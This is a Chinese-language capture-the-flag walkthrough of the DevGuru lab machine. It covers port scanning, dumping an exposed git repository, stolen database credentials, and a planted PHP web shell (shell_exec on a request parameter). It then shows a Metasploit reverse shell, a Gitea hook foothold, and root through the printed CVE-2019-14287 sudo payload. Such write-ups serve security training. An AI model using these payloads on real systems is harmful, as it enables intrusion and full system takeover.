kali ip
目标ip
首先我们扫描一下开放端口
nmap -A -p- 192.168.20.143
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-18 10:41 CST
Nmap scan report for bogon (192.168.20.143)
Host is up (0.00044s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)
| 256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)
|_ 256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: DevGuru
| http-git:
| 192.168.20.143:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the…
| Last commit message: first commit
| Remotes:
| http://devguru.local:8585/frank/devguru-website.git
|_ Project type: PHP application (guessed from .gitignore)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Corp - DevGuru
8585/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=3fa58b0407bb4cfd; Path=/; HttpOnly
| Set-Cookie: _csrf=1i6eRR0jsBy2m3oVLV7XjbmTO3Y6MTYzOTc5NTMyOTAyODgyNzUyOQ; Path=/; Expires=Sun, 19 Dec 2021 02:42:09 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sat, 18 Dec 2021 02:42:09 GMT
|
|
|
TRACEROUTE
HOP RTT ADDRESS
1 0.44 ms bogon (192.168.20.143)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.30 seconds
开放了22,80,8585端口,内核版本认为是Linux4.x或5.x的版本,在80端口处提示了一个域名,那我们将域名和ip地址手动进行绑定一下
我们再看nmap扫描得出的结果这里发现一个.git的目录,这时候我们就想到可以将这个目录导出来,推荐使用gitdump,但我这里使用githacker使用习惯了我就使用githacker了
我们来看一下看看git仓库有什么样的信息
我们先来看一下README.md
简单看了一下就是辅助安装文档以及安装的最低要求
到config里面看看有没有什么信息
我们先看一下app.php里面的东西
大致就存储的一些信息没啥用
然后我们来看一下database.php的相关信息
这里我们意外发现mysql的登录用户名和密码
然后在仓库文件夹中发现adminer.php我们去搜一下这东西
经过搜索发现原来是数据库管理工具
然后我们去80端口看看,成功进入登录页面
然后我们使用mysql用户名密码登录
成功登录
然后我们尝试爆破一下目录
扫描到这个感觉像后台登录地址
测试了一下果真
然后我们去看一下数据库里面的数据看看有没有关于用户名密码的
发现一个用户名密码
然后我们去看一下后台组的情况
只有一个,网站拥有组的权限,所有用户只有一个组网站拥有组
然后我们去看一下用户名和用户密码,密码是一种加密的方式显示出来的,我们去搜搜看密码前几位,看看能不能搜出相关的加密方式还真能搜到
我们搜搜看有没有在线加密工具搜到了链接如下
https://www.jisuan.mobi/p163u3BN66Hm6JWx.html
然后我们Rounds使用默认的即可,密码就设置为123456
然后我们到数据库中修改值
然后我们去登陆,成功登入后台
在CMS这个栏发现有编辑代码的功能,我们自己来构造一个恶意代码
代码内容
function onStart()
{
$this->page['myVar']=shell_exec($_REQUEST['cmd']);
}
在Makeup这栏把东西加上去
然后我们保存并尝试到前端去执行指令
成功执行,建立反向连接shell,并将它保存到shell.php中
然后我们在kali搭建一个简单的网站服务,并且将shell上传到服务器中
使用msfconsole进行监听
浏览器访问shell
成功连接
查看当前权限
使用python建立交互式提示符
python3 -c "import pty;pty.spawn('/bin/bash')"#靶机没有python2要用python3执行
然后到处找找在/var发现备份文件然后我们将他下载下来看看
我们来看看app.ini.bak
又发现一组数据库信息我们去登录又发现一组用户名密码但密码是加密的我们重点看这个提示
由于我没找到如何解开这段密文,那我们就修改加密方式并把密文改掉
这个站点在8585端口还有个东西我们访问一下,然后尝试登录,最后发现成功登录
到处看看发现这里我们是可以输入的
我们尝试在这里构造一段恶意代码,然后看看能返回什么权限
msf设置监听
生成恶意代码
上传恶意代码
下面就是想办法触发
我们在仓库那里发现是可以编辑的我们多加点空行即可触发
查看一下权限
发现已经是普通用户权限
就发现了flag
sudo -l 检查sudo命令执行的情况
发现命令结果
有这样的配置,同时sudo命令版本低于1.8.27所以判断存在CVE-2019-14287漏洞,使用payload进行提权
sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'
获得root权限
修改SSH配置文件使用SSH连接
sed -i "s/PasswordAuthenication no/PasswordAuthentication yes/" /etc/ssh/sshd_config
SSH连接成功
手机扫一扫
移动阅读更方便
你可能感兴趣的文章